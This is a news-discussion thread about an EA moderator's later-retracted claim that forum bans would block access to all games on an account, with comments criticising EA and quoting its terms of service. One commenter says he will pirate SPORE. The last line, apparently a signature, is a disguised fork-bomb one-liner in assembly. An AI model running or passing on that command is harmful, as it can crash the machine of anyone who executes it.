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EA Forum Ban Will Now Mean EA Game Ban
An anonymous reader writes "A post on the EA Support Forums from APOC, online community manager for Electronic Arts, outlines a new policy for their new forums, saying users who earn a ban based on their behavior in the forums will be locked out of all of the EA games tied to that account: 'Well, its actually going to be a bit nastier for those who get banned. Your forum account will be directly tied to your Master EA Account, so if we ban you on the forums, you would be banned from the game as well since the login process is the same. And you'd actually be banned from your other EA games as well since it's all tied to your account. So if you have SPORE and Red Alert 3 and you get yourself banned on our forums or in-game, well, your SPORE account would be banned to. It's all one in the same, so I strongly recommend people play nice and act mature. All in all, we expect people to come on here and abide by our ToS. We hate banning people, it makes our lives a lot tougher, but it's what we have to do.'" Update: 10/31 12:36 GMT by T : Not so! Pandanapper writes "After a flood of complaints the EA community moderator APOC corrects his statement about how banning you from the forums bans you from your game access as well:"That said, the previous statement I made recently (that's being quoted on the blogs) was inaccurate and a mistake on my part. I had a misunderstanding with regards to our new upcoming forums and website and never meant to infer that if we ban or suspend you on the forums, you would be banned in-game as well. This is not correct, my mistake, my bad."
Fo'shure I'm looking forward to shelling out my hard-earned money (especially in this wonderful economy) for EA titles in the future after seeing this.
I enjoyed EA games in the past. Being a military buff I especially enjoyed their flight simulators. They were mostly stable and fun to play. I cringed when they bought out Westwood because I thought they were going to screw up the C&C franchise, but (mostly) they didn't.
But being banned from online play because I let out a "fuck" on their forums? Or for any reason whatsoever unrelated to behavior within the game? Never mind the insane DRM on their latest output.
Fuck that. No more EA games for me. I'm getting old anyway. Time to switch to online Scrabble or something. Flash DigDug and Galaga FTW.
FIRST the DRM, now this? They really hate players
Now I will have ZERO problem pirating SPORE or any other EA title. In fact I wasn't going to bother with SPORE given the lackluster reviews, but I'm firing up Azurus as we speak to grab it just to spite the arrogant f'ers.
There are 4 boxes to use in the defense of liberty: soap, ballot, jury, ammo. Use in that order. Starting now.
Are they TRYING to start a class action lawsuit???
Judge: "What did you do?"
Me: "Called him an asshat."
Judge: "What did they do?"
Me: "Locked me out of $500 worth of software"
Judge: "I rule in favor of the plantif for 1 ass-ton of money"
http://www.shacknews.com/onearticle.x/55656
Linking games to gamer's internet forum accounts?
Yeah, don't you love that? They've completely eliminated the ability to sell your old games.
http://www.shacknews.com/onearticle.x/55656
Posting in EA Forums is enabled by an EA Nucleus account -- but access to the forums and access to the games are separate. Players who have been banned from EA Forums are not automatically banned from online access to their other EA games. Players can be banned if they breach the Terms of Service or Code of Conduct in a forum, game or service. Each forum, game and service is managed independently by customer support representatives responsible for that specific forum, game or service.
The point is, they're not going to continue getting money if they keep screwing over, on a continuing basis, the people who give them the money.
Then how do you explain the fact that the cable and cellular companies are still in business? ;)
I want peace on earth and goodwill toward man.
We are the United States Government! We don't do that sort of thing.
I don't think Microsoft has ever banned anyone from using Windows for swearing on MSDN
The term "burning" brought up a memory - I was in the Oakland firestorm back in 1991, got out with clothes on my back and my car. The entire Bay Area community was very supportive in helping people recover - with the notable exception of Electronic Arts. I had about ten EA titles for my beloved Amiga 3000 system at the time. When I called EA, explained the situation, and asked how to get replacement media, the answer was "We have no way of knowing you really owned those games. Feel free to buy them at full retail again." When I asked what the point of all the registration cards I'd dutifully mailed in was, the answer was that "Those go to marketing, we don't have any record of them."
Needless to say, I don't have to worry about dealing with the EA forums.
KeS
Judge: What did he do?
EA: Made a monster that looks like a dick!
Me: Objection! It looks nothing like a dick!
EA: Its clearly phallic!
Me: Thats a long neck, evolved for reaching high...
EA: Its sitting on a pair of balls!
Me: Theyre legs! It walks on them!
EA: HAIRY BALLS
Its worth it just to see a gaggle of lawyers on $400+ p/h trying to argue the phallic appearance of my one-eyed trouser monster.
3laws: No freebies, no backsies, GTFO.
EA makes great games, most of which I have played through and through.
I'll always buy their games, if it interests me, as most of their titles have.
Most of you are silver spoon fed arrogant bastards who think EA owes you something.
They don't. They owe you NOTHING.
If I pay them for a game, then they owe me a functional game.
Technoli
Why is this modded insightful? Sheep aren't even considered citizens. They don't wear pants. They can't carry money. Maybe they could barter with wool if we weren't shearing them all the goddamn time. I don't even think sheep are playable characters in the Sims, what business would they have playing it?
That's not a correction or a misunderstanding.
That's a hasty back-peddling move. Expect to see this repeated in about a year. We are the frog in the slowly boiling water, and EA just tried to turn up the heat.
Just another "DOJ fascist authoritarian totalitarian bootlicker" -- Zeio
Look at this quote from here though
http://forums.ea.com/mboards/thread.jspa?threadID=457006
First the mod says that bans from the forums don't mean a ban from the games a bit later some other EA guy says this
Elearen (EA.com)
tbh I would rather that forum behaviour did affect online availability.
It would tie in with the TOS quite nicely.
http://www.ea.com/global/legal/tos.jsp
And the TOS he links to says this
EA may terminate any EA Service at any time by giving you notice of such termination within the time period specified when you joined the particular EA Service, or if no time period for notice of termination was specified, then within thirty (30) days of the date such notice is posted on the applicable EA Service.
EA may also terminate your Account(s) (and access to all related entitlements) for violation of this Terms of Service, illegal or improper use of your Account, or illegal or improper use of EA Services, products, or EA's Intellectual Property. You may lose your user names and personas as a result of Account termination. If you have more than one Account, EA may terminate all of your Accounts and all related entitlements. EA may issue you a warning, or EA may immediately terminate any and all Accounts that you have established. You acknowledge that EA is not required to provide you notice before terminating your Account(s). If EA terminates your Account, you may not participate in an EA Service again without EA's express permission. To participate in an EA Service, contact support.ea.com EA reserves the right to refuse to keep Accounts for, and provide EA Services to, any individual. You may not allow individuals whose Accounts have been terminated by EA to use your Account.
If your Account, or a particular subscription for an EA Service associated with your Account, is terminated, no refund will be granted; no online time or other credits (e.g., points in an online game) will be credited to you or converted to cash or other form of reimbursement, and you will have no further access to your Account or entitlements associated with your Account or the particular EA Service (such as points, tokens or other digital items).
Seems like the Mod announced the draconian new policy that he can ban you not just from the forums but from all the games you've bought with no refund, a shitstorm erupted and he clarified things that that was not the policy. But it is in the TOS as the other EA guy pointed out.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;